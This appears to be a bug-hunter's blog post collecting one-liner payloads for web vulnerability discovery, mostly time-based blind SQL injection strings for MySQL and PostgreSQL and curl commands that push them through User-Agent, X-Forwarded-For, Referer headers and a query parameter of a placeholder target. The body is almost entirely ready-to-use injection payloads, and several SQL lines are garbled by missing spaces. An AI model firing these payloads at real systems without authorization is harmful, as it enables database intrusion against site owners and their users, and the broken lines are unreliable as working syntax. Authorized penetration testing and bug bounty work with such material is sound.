Some of my One Liner and Automated tools collections
Many experienced and penetration testers, bug hunter or other people that work in offensive security use well-crafted one-liners to automate specific parts of their workflow — from passive recon to vulnerability detection.
In this post I’ll share some collections of tools and one-liner payloads designed to automate the discovery of common web vulnerabilities such as XSS, SQLi, SSRF, LFI, open redirect, idor, keys, secrets, etc. Instead of building full frameworks, these short commands combine widely-used utilities like gf, httpx, ffuf, and gau to produce fast, repeatable, and high-signal results — often with a single line of code.
-- Inline injection with logic 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z
-- Using benchmark for delay (CPU-based) 1AND (SELECT1FROM (SELECTCOUNT(*), CONCAT(FLOOR(RAND()*2),(SELECT SLEEP(5))) AS x FROM information_schema.tables GROUPBY x) y);
-- Boolean logic delay ' OR IF(1=1, SLEEP(10), 0)-- -
| PostgreSQL
1 2 3 4 5 6 7 8 9 10 11 12
-- Standard time-based delay SELECT pg_sleep(10);
-- Conditional delay with string concatenation ' OR (CASE WHEN ((CLOCK_TIMESTAMP() - NOW()) < interval '0:0:10') THEN (SELECT '1' || pg_sleep(10)) ELSE '0' END)='1
-- More concise version ' OR 1=1; SELECT pg_sleep(5);--
-- Using random() for variability 'OR (SELECTCASEWHEN (random() <0.5) THEN pg_sleep(5) ELSE pg_sleep(0) END);--
time curl -s -H "User-Agent: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z""https://yourtarget.com/vulnerable-endpoint"
time curl -s -H "X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z""https://yourtarget.com/vulnerable-endpoint"
time curl -s -H "Referer: '+(select*from(select(if(1=1,sleep(20),false)))a)+'\"""https://yourtarget.com/vulnerable-endpoint"
time curl "https://yourtarget.com/page.php?id=if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/"
There are many payloads, tools, and one-liner commands available on the internet, but I haven’t tried them all yet. In this post, I will continue to update it’ every time I discover new payloads, tools, or one-liners for detecting vulnerabilities.
If you liked my article please leave a respect on my at HackTheBox Profile